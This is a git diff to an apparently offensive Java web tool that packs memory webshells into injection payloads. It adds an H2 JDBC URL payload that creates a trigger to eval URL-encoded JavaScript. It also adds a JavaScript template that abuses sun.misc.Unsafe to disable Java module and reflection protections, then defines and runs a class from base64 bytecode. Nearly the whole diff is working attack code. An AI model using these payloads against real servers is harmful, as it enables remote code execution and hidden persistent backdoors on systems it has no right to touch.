diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 646a079d..ddc67730 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -17,6 +17,7 @@ import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker; import com.reajason.javaweb.packer.groovy.GroovyPacker; import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; import com.reajason.javaweb.packer.h2.H2JSPacker; +import com.reajason.javaweb.packer.h2.H2JSURLEncodePacker; import com.reajason.javaweb.packer.h2.H2JavacPacker; import com.reajason.javaweb.packer.h2.H2Packer; import com.reajason.javaweb.packer.jar.*; @@ -172,6 +173,7 @@ public enum Packers { H2(new H2Packer()), H2Javac(new H2JavacPacker(), H2Packer.class), H2JS(new H2JSPacker(), H2Packer.class), + H2JSURLEncode(new H2JSURLEncodePacker(), H2Packer.class), Jar(new DefaultJarPacker()), ScriptEngineJar(new ScriptEngineJarPacker()), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSURLEncodePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSURLEncodePacker.java new file mode 100644 index 00000000..a145083f --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSURLEncodePacker.java @@ -0,0 +1,27 @@ +package com.reajason.javaweb.packer.h2; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; +import lombok.SneakyThrows; + +import java.net.URLEncoder; + +/** + * @author ReaJason + * @since 2025/6/28 + */ +public class H2JSURLEncodePacker implements Packer { + String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\neval(decodeURIComponent('{{script}}'))$$"; + + @SneakyThrows + @Override + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); + String encode = URLEncoder.encode(script, "UTF-8") + .replace("+", "%20") + .replace("%28", "(") + .replace("%29", ")"); + return template.replace("{{script}}", encode); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java index 0f0e5604..05090d6a 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java @@ -7,11 +7,16 @@ import lombok.SneakyThrows; public class DefaultScriptEnginePacker implements Packer { private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngine.js"); + private final String jsBypassModuleTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngineBypassModule.js"); @Override @SneakyThrows public String pack(ClassPackerConfig config) { - return scriptToSingleLine(jsTemplate + String template = jsTemplate; + if (config.isByPassJavaModule()) { + template = jsBypassModuleTemplate; + } + return scriptToSingleLine(template .replace("{{className}}", config.getClassName()) .replace("{{base64Str}}", config.getClassBytesBase64Str())); } diff --git a/packer/src/main/resources/memshell-party/ScriptEngineBypassModule.js b/packer/src/main/resources/memshell-party/ScriptEngineBypassModule.js new file mode 100644 index 00000000..16bc0c7d --- /dev/null +++ b/packer/src/main/resources/memshell-party/ScriptEngineBypassModule.js @@ -0,0 +1,33 @@ +var base64Str = "{{base64Str}}"; +var className = "{{className}}"; +var clsString = java.lang.Class.forName("java.lang.String"); +var bytecode; +try { + var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str); +} catch (ee) { + var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance(); + bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str); +} +var clsByteArray = (new java.lang.String("a").getBytes().getClass()); +var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); +theUnsafeMethod.setAccessible(true); +unsafe = theUnsafeMethod.get(null); +var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection"); +var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes(); +var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null); +var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap"); +if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) { + unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance()); +} +var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(); +var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null); +var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData"); +unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null); +var clsInt = java.lang.Integer.TYPE; +var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt); +var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers"); +unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001); +var cc = defineClassMethod.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0), java.lang.Thread.currentThread().getContextClassLoader()), bytecode, 0, bytecode.length); +cc.newInstance(); +